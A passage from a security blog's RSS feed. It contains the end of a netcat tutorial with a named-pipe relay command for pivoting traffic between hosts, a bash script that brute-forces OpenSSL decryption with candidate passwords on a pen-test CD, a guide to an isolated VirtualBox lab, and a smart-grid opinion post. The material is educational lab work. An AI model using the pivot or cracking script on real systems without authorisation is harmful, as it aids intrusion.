<p style="text-align: center;"><img class="aligncenter size-full wp-image-212" title="4_FullPivot_NamedPipes" src="http://www.wrgross.com/blogs/security/wp-content/uploads/2010/05/4_fullpivot_namedpipes.png" alt="" width="450" height="645" />Image 3: Two-Way Pivot Using  Named Pipe</p>
<p>In Example 3, the relay, Host B, creates a named pipe, and then funnels the netcat input/output through the named pipe.</p>
<p>Host B issues the following two items on the command line:<br />
&gt; mknod bp p<br />
&gt; nc -l -p 2222 0&lt;bp | nc 10.1.0.3 3333 1&gt;bp</p>
<p>To analyze, let me label each part of this set of commands:<br />
A) mknod bp p<br />
B) nc -l -p 2222 0&lt;bp<br />
C) nc 10.1.0.3 3333 1&gt;bp<br />
D) B | C</p>
<p>A) mknod bp p<br />
In step A, Host B creates a named pipe of type FIFO (p).  A FIFO pipe works just like a FIFO queue – First In, First Out.  This means that the first data arriving in the pipe will be the first data taken out of the pipe.  This will allow us to create a writer and a reader attached to the queue.  If you envision this as a line at a bank, the reader will be the bank teller, taking folks out of the queue, and the door to the bank acts as the writer, adding folks to the queue.</p>
<p>B) nc -l -p 2222 0&lt;bp<br />
In step B, the host creates a listener bound to port 2222, and uses input redirection to dump anything from the named pipe (bp) into the netcat session.  When a client actually connects to this netcat session, the input will be written to stdout on Host B.</p>
<p>C) nc 10.1.0.3 3333 1&gt;bp<br />
In step C, the host creates a netcat session to host 10.1.0.3, where the output (stdout) arriving from the listener at the far end will be written into the named pipe (because of 1&gt;bp).</p>
<p>What we can see now, is that the netcat listener in Step B is the reader from the FIFO queue, and the netcat session created in Step C is the writer to the queue.  Perfect.</p>
<p>D) B | C<br />
The final command D ties the two components together.  Without using the pipe operator, the stdout arriving from Host A is still written to stdout on Host B.  By using the pipe, we push stdout arriving from A into the netcat session created to Host C, just as we&#8217;ve done several times in these examples.</p>
<p>To illustrate the full data flow, then.  Once both sets of netcat sessions are established as illustrated in Example 4, data flows through the system as follows.  Data entered at Host A is sent over the netcat session to Host B where it is redirected through a pipe ( “|” ) into the netcat session Host B has created with Host C.  As data comes back from Host C, it arrives at Host B, is written into the named pipe using output redirection (1&gt;bp), where it is picked up by the netcat session Host B has with Host A because of input redirection (0&lt;bp)</p>
<p><strong>Conclusion</strong></p>
<p>Skoudis goes into several deeper examples in the PDC Episode 195 show notes, and I encourage folks to read.  It seems that your imagination, and the combination of your user access rights and a forgiving firewall rule-set are the only things limiting you!</p>
<p>The goals of this post are to:</p>
<ul>
<li> Strengthen my knowledge by educating;</li>
<li> Assist those who may not have much exposure to netcat; and</li>
<li> Help spark interest in the countless possibilities introduced!</li>
</ul>
<p>I help you found it useful.</p>
<p>Bill</p>
]]></content:encoded>
			<wfw:commentRss>http://www.wrgross.com/blogs/security/2010/05/22/yet-another-netcat-introduction/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Decrypting files using OpenSSL</title>
		<link>http://www.wrgross.com/blogs/security/2009/12/09/decrypting-files-using-openssl/</link>
		<comments>http://www.wrgross.com/blogs/security/2009/12/09/decrypting-files-using-openssl/#comments</comments>
		<pubDate>Wed, 09 Dec 2009 11:29:28 +0000</pubDate>
		<dc:creator>Bill Gross</dc:creator>
		
		<category><![CDATA[Linux Tricks]]></category>

		<category><![CDATA[Research]]></category>

		<category><![CDATA[Tools]]></category>

		<guid isPermaLink="false">http://www.wrgross.com/blogs/security/?p=198</guid>
		<description><![CDATA[Background
I&#8217;m playing with one of the De-ICE pen-testing CD&#8217;s, and I came across a file that was encrypted.
The problem is, I don&#8217;t know:

 The cipher used to encrypt the file
 The password used
 Whether or not the file was Base64 encoded

Discovery
By poking around the box, I was able to determine that OpenSSL was installed.  OpenSSL [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Background</strong><img class="alignright size-thumbnail wp-image-201" title="Encrypt Your Junk" src="http://www.wrgross.com/blogs/security/wp-content/uploads/2009/12/encryption-150x150.jpg" alt="" width="150" height="150" /></p>
<p>I&#8217;m playing with one of the <a href="http://www.de-ice.net/">De-ICE</a> pen-testing CD&#8217;s, and I came across a file that was encrypted.</p>
<p>The problem is, I don&#8217;t know:</p>
<ul>
<li> The cipher used to encrypt the file</li>
<li> The password used</li>
<li> Whether or not the file was Base64 encoded</li>
</ul>
<p><strong>Discovery</strong></p>
<p>By poking around the box, I was able to determine that <a href="http://www.openssl.org/">OpenSSL</a> was installed.  OpenSSL will reveal the encryption commands it supports by typing:</p>
<blockquote><p># openssl -help</p></blockquote>
<p>So I know the set of algorithms that could have been used to encrypt the file.</p>
<p>I also have a candidate set of passwords that I believe were used to encrypt the file.  These were uncovered during the pen test.</p>
<p>I need to figure out if the file was Base64 encoded and the cipher used.</p>
<blockquote><p># file encrypted_file.enc<br />
encrypted_file.enc: data</p></blockquote>
<p>The file is not Base64 encoded or it would be type text.  I tested this by encrypting two files, one with Base64 and one without.  The Base64 file returned type text, the other type data.</p>
<p>To test for the algorithm used, I tried encrypting a file and decrypting with both correct and incorrect passwords.  Only clean decryptions (where the correct password was used) result in plain text (&#8221;ASCII text&#8221;) when using the &#8220;file&#8221; command.  Decrypting a file with the wrong password results in a file with file type &#8220;data,&#8221; or something else.</p>
<p>This will make scripting of a solution easy.</p>
<p>The challenge for me is that I don&#8217;t know much about shell scripting.  Fortunately, there is a sweet resource over at the <a href="http://tldp.org/">LDP</a> - the <a href="http://tldp.org/guides.html">Advanced Bash-Scripting Guide</a> by Mendel Cooper.  It was a huge help.</p>
<p>What I know now:</p>
<ul>
<li>Candidate passwords</li>
<li>Candidate encryption algorithms</li>
<li>The file was not Base64 encoded</li>
</ul>
<p>What I don&#8217;t know:</p>
<ul>
<li>The combination of password/algorithm used to encrypt the file.</li>
</ul>
<p>What I want:</p>
<ul>
<li>The decrypted file</li>
<li>The password and algorithm used to encrypt the file</li>
</ul>
<p><strong>Scripting a Solution</strong></p>
<p>Result: decrypt.sh<br />
Given a set of candidate encryption algorithms and candidate passwords, the script will:</p>
<ul>
<li>Try all combinations of password/algorithm</li>
<li>Save the decrypted results in the specified directory</li>
<li>Save decrypted files wiith a file name of the type &lt;password&gt;_&lt;algorithm&gt;.txt</li>
<li>Run the &#8220;file&#8221; command at the end, looking for any that have type ASCII text</li>
</ul>
<p>If the algorithm is successful, at least one file with type ASCII text will have be a valid decryption of the original file.</p>
<p>The file worked like a charm to decrypt the file I found.</p>
<p><strong>The Code</strong></p>
<pre>#! /bin/bash

SUPPORTED_ALGS=(aes-128-cbc aes-128-ecb aes-192-cbc aes-192-ecb aes-256-cbc
aes-256-ecb base64 bf bf-cbc bf-cfb
bf-ecb bf-ofb cast cast-cbc cast5-cbc
cast5-cfb cast5-ecb cast5-ofb des des-cbc
des-cfb des-ecb des-ede des-ede-cbc des-ede-cfb
des-ede-ofb des-ede3 des-ede3-cbc des-ede3-cfb des-ede3-ofb
des-ofb des3 desx rc2 rc2-40-cbc
rc2-64-cbc rc2-cbc rc2-cfb rc2-ecb rc2-ofb
rc4 rc4-40)
PASSWORD_LIST=(passwd password test)
OUTPUT_DIRECTORY="/root/1_100/decrypt_output/"
ENCRYPTED_FILE="/root/1_100/encrypted_file.csv.enc"

echo "Num algorithms=${#SUPPORTED_ALGS[*]}"
echo "Num passwords=${#PASSWORD_LIST[*]}"

for password in ${PASSWORD_LIST[*]}
do
    for alg in ${SUPPORTED_ALGS[*]}
    do
        OUTFILE="${OUTPUT_DIRECTORY}${password}_${alg}.txt"

        openssl enc -d -in $ENCRYPTED_FILE -pass pass:${password} -out $OUTFILE -${alg}
    done
done

echo "Candidate files:"
file ${OUTPUT_DIRECTORY}* | grep ASCII

exit</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.wrgross.com/blogs/security/2009/12/09/decrypting-files-using-openssl/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Setting up a pen-testing lab-in-a-box</title>
		<link>http://www.wrgross.com/blogs/security/2009/11/08/setting-up-a-pen-testing-lab-in-a-box/</link>
		<comments>http://www.wrgross.com/blogs/security/2009/11/08/setting-up-a-pen-testing-lab-in-a-box/#comments</comments>
		<pubDate>Sun, 08 Nov 2009 18:56:32 +0000</pubDate>
		<dc:creator>Bill Gross</dc:creator>
		
		<category><![CDATA[Research]]></category>

		<category><![CDATA[Tools]]></category>

		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.wrgross.com/blogs/security/?p=188</guid>
		<description><![CDATA[So, I got my hands on a handy, used Dell Latitude 620 with 2GB ram for next-to-nothing.
I&#8217;m looking for something to do with it&#8230;
How about, set up a penetration testing platform complete with: safe, internal-only networking; hosts as attackers; hosts as targets; and do the whole thing for $0.00.  And, how about doing the [...]]]></description>
			<content:encoded><![CDATA[<p>So, I got my hands on a handy, used Dell Latitude 620 with 2GB ram for next-to-nothing.</p>
<p>I&#8217;m looking for something to do with it&#8230;</p>
<p>How about, set up a penetration testing platform complete with: safe, internal-only networking; hosts as attackers; hosts as targets; and do the whole thing for $0.00.  And, how about doing the entire thing on a single piece of hardware?  Sweet.</p>
<p><strong>Purpose</strong><br />
The purpose of this exercise is to establish a safe environment to perform penetration testing on different target hosts and applications.</p>
<p>A single computer with host-only networking will be used to avoid sending attacks across the network where other hosts may reside.</p>
<p><strong>Goals</strong></p>
<ul>
<li> Establish the lab with no additional hardware or software investment.</li>
<li> Ensure that the box does not leak attacks over the network.</li>
<li> Provide an easy-to-maintain platform where new attackers and targets can be added or modified over time.</li>
</ul>
<p><strong>Basics: Establishing the virtual environment </strong></p>
<p>The lab-in-a-box comprises a used Dell Latitude D620 with 2 GB ram, and 80GB hard disk space.  Not a bleeding edge host, but more than adequate for this endeavor.</p>
<p>Software used:</p>
<ul>
<li> Host OS – Ubuntu Linux 9.04, Jaunty Jackalope</li>
<li> Virtualization – Sun VirtualBox</li>
<li> Attacker – BackTrack 4 pre-release</li>
<li> Target – De-ICE Lab CD 1</li>
</ul>
<p><strong>Step 1. Download and install the Host OS</strong></p>
<p>Download and install Ubuntu on the host.  Get it up-and-running, patched, and configured to your tastes.</p>
<p><strong>Step 2. Download and install VirtualBox</strong></p>
<p>Virtual box can be downloaded from: <a href="http://www.virtualbox.org/" target="_blank">http://www.virtualbox.org/</a></p>
<p>I&#8217;m using Ubuntu, there are a few kernel modules you may need depending on the version of Ubuntu  you are working with.  If you are using a different OS, do a little research.  The VirtualBox site has pretty good info on installing.</p>
<p><strong>Step 3. Download the BackTrack and De-ICE ISO images</strong></p>
<p>BackTrack can be <a href="http://www.remote-exploit.org/backtrack_download.html" target="_blank">found at Remote Exploit</a>.<br />
The De-ICE images can be <a href="http://de-ice.net/hackerpedia/index.php/De-ICE.net_PenTest_Disks" target="_blank">found at De-ICE.net</a>.</p>
<p><strong>Step 4. Create the hosts in VirtualBox</strong></p>
<p>Follow the installation instructions on the BackTrack site.</p>
<p>The De-ICE image is a bootable image, so you don&#8217;t need to create a big hard disk for this.  I created a simple 1GB disk for it, and have the VM configured to mount the De-ICE ISO on boot.  Pretty simple.</p>
<p><strong>Step 5. Set up host networking</strong></p>
<p>When I set up the VM&#8217;s, they had bridged networking.  This means that each VM connects to the local network through the host computer.  It is as though they are separate hosts on the network, and each receives an IP address via DHCP if so configured.</p>
<p>The problem is that two virtual machines on the same host will still communicate with one another over the LAN – and that could mean trouble.</p>
<p>The image below shows, in the upper-left hand corner, my BT4 VM doing an Nmap scan of my De-ICE VM in the upper right-hand corner.  The window at the bottom is my host (physical box) doing a tcpdump.</p>
<p><div id="attachment_192" class="wp-caption aligncenter" style="width: 160px"><a href="http://www.wrgross.com/blogs/security/wp-content/uploads/2009/11/datatravelingacrosslan.jpg"><img class="size-thumbnail wp-image-192" title="Data Traveling Across Lan" src="http://www.wrgross.com/blogs/security/wp-content/uploads/2009/11/datatravelingacrosslan-150x150.jpg" alt="Data Traveling Across Lan" width="150" height="150" /></a><p class="wp-caption-text">Data Traveling Across Lan</p></div></p>
<p>As you can see from the host tcpump, the network traffic from BT4 is traveling across the net. That&#8217;s a big problem in fat-finger space.</p>
<p>I don&#8217;t want to be in the coffee shop and inadvertently fat finger a target and end up in the joint.</p>
<p>The solution, set the virtual machines to use a local-only network.  In VirtualBox, this is called “Internal Networking.”</p>
<p>VirtualBox supports two types of local only networking.  One is called “Host Only.”  With this configuration, the host can still interface with the VMs, but the VMs cannot communicate off the host.  This is pretty good.  But I&#8217;m going for maximal safety.  That is where “Internal Only” comes in.  In this configuration, the virtual machines are assigned to a named network that is created by VirtualBox.  Hosts on that virtual network can communicate with other VMs on that network, but not with hosts outside that network.  Even your physical box (host) cannot communicate with the VMs&#8230;</p>
<p>Shut down and set both the network interfaces on the BT4 and De-ICE VMs to Internal Networking as shown in the screen shot below.</p>
<p><div id="attachment_193" class="wp-caption aligncenter" style="width: 160px"><a href="http://www.wrgross.com/blogs/security/wp-content/uploads/2009/11/virtualboxinternalnetworkingsetting.jpg"><img class="size-thumbnail wp-image-193" title="VirtualBox Internal Networking Setting" src="http://www.wrgross.com/blogs/security/wp-content/uploads/2009/11/virtualboxinternalnetworkingsetting-150x150.jpg" alt="VirtualBox Internal Networking Setting" width="150" height="150" /></a><p class="wp-caption-text">VirtualBox Internal Networking Setting</p></div></p>
<p>Note the default internal network name (in the screen shot it is “intnet”) as you will need this when configuring the VirtualBox DHCP server&#8230;</p>
<p>Next, we will set up the DHCP Server for the internal network.  You may not need to do this step, but I&#8217;m following the instructions for the De-ICE CD which specifies that the DHCP server should be on 192.168.1.1 and have a lower DHCP lease range of 192.168.1.2.  I set the upper range at 2.254 to accommodate other De-ICE CDs.</p>
<p>Using a terminal on the host, run the following command (all on one line):</p>
<p><code>VBoxManage dhcpserver add --netname intnet --ip 192.168.1.1 --netmask 255.255.0.0 --lowerip 192.168.1.2 --upperip 192.168.2.254 --enable</code></p>
<p>Sweet.  All is well and good.  Boot up the two images.</p>
<p>I performed two tests to make sure there was no data leakage.</p>
<p>First, I ran a similar test as I had above – running tcpdump on the host while running Nmap from the BT4 VM targeting the De-ICE VM.</p>
<p>Second, I disabled the host&#8217;s network connection and performed the same test.</p>
<p>In both cases the two VMs could talk to one another, but no data leakage, as shown in the screen shot below.</p>
<p><div id="attachment_194" class="wp-caption aligncenter" style="width: 160px"><a href="http://www.wrgross.com/blogs/security/wp-content/uploads/2009/11/internalnetworkingenabled.jpg"><img class="size-thumbnail wp-image-194" title="Internal Networking Enabled" src="http://www.wrgross.com/blogs/security/wp-content/uploads/2009/11/internalnetworkingenabled-150x150.jpg" alt="Internal Networking Enabled" width="150" height="150" /></a><p class="wp-caption-text">Internal Networking Enabled</p></div></p>
<p><strong>Step 6. Have fun!</strong></p>
<p>You are good-to-go.  Fire up those virtual machines and have some fun!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.wrgross.com/blogs/security/2009/11/08/setting-up-a-pen-testing-lab-in-a-box/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Cyber security issues with Smart Grid go way beyond metering devices</title>
		<link>http://www.wrgross.com/blogs/security/2009/03/21/cyber-security-issues-with-smart-grid-go-way-beyond-metering-devices/</link>
		<comments>http://www.wrgross.com/blogs/security/2009/03/21/cyber-security-issues-with-smart-grid-go-way-beyond-metering-devices/#comments</comments>
		<pubDate>Sat, 21 Mar 2009 16:24:20 +0000</pubDate>
		<dc:creator>Bill Gross</dc:creator>
		
		<category><![CDATA[Control Systems]]></category>

		<category><![CDATA[Critical Infrastructure]]></category>

		<category><![CDATA[Smart Grid]]></category>

		<guid isPermaLink="false">http://www.wrgross.com/blogs/security/?p=185</guid>
		<description><![CDATA[IMHO, end-user &#8217;smart meter&#8217; device security is the smallest issue to be resolved with moving toward a Smart Grid.
The real issue with Smart Grid is having thousands of electric devices connected to the network that have intermittent production capacities.
Currently, from what I understand, the electrical grid is somewhat sensitive to large changes in the amount [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignright size-thumbnail wp-image-186" title="Smart Grid" src="http://www.wrgross.com/blogs/security/wp-content/uploads/2009/03/smart-grid1-150x150.jpg" alt="" width="150" height="150" />IMHO, end-user &#8217;smart meter&#8217; device security is the smallest issue to be resolved with moving toward a Smart Grid.</p>
<p>The real issue with Smart Grid is having thousands of electric devices connected to the network that have intermittent production capacities.</p>
<p>Currently, from what I understand, the electrical grid is somewhat sensitive to large changes in the amount of electricity being put onto or being pulled down from the grid.</p>
<p>As energy consumption goes up, power producers put more energy on the line.  As consumption goes down, those sources are throttled back.</p>
<p>But what do you do when you plug 1500 windmills into the grid?</p>
<p>What happens when the wind starts blowing, then suddenly stops.</p>
<p>Here&#8217;s a hypothetical.  Suppose a 1500 turbine wind farm, producing 15 MW of power and placing it on the grid.</p>
<p>If consumption = supply, we are all good.</p>
<p>But what happens if the wind, literally, stops blowing for 30 minutes.</p>
<p>Is everyone going to scramble to shut off their air conditioners and unplug their fridge?</p>
<p>With respect to Availability aspects of the CIA triad, we have a big issue here.</p>
<p>Compound that concern with the fact that electrons traveling across a grid monitoring system travel at the same speed as the electrons traveling from producers to consumers, and you get an ugly producer/cosumer problem.</p>
<p>An effective smart grid must mitigate these intermittent sources of power by ensuring that access to the grid happens in a controlled manner.</p>
<p>That involves rapid ability to disconnect an intermittent source, or to store it&#8217;s electricity for later consumption.</p>
<p>The devices that perform that function are, in my opinion, the biggest cyber risk.</p>
<p>Though it&#8217;s not necessarily security related, the other issue that needs to be addressed with the introduction of large-scale intermittent power sources on the grid, is the need to match all intermittent sources with 100% non-intermittent sources.</p>
<p>For example.  In our example above, in the case where  you have 15MW wind being put on the grid, you must have at least 15MW stand-by power producing capacity spinning and ready to dump energy onto the grid in the event that the wind dies down.</p>
<p>This issue is tough, and involves, essentially, rebuilding vast amounts of the grid to attempt to decentralize the alternate energy sources as broadly as possible.</p>
<p>So, for example, wind turbines in Maine might be providing power to consumers in Arizona during the night, but Solar Production in Arizona might be powering Air Conditioners in DC during the mid-day.  At the moment, our grid just ain&#8217;t built that way.</p>
<p>I was at a FERC Commissioner&#8217;s meeting last week, and I assure you, they weren&#8217;t talking about the issues with end-point monitors.  How you secure the devices protecting the grid as a whole was on everyone&#8217;s lips.</p>
<p>Bill Gross</p>
]]></content:encoded>
			<wfw:commentRss>http://www.wrgross.com/blogs/security/2009/03/21/cyber-security-issues-with-smart-grid-go-way-beyond-metering-devices/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>

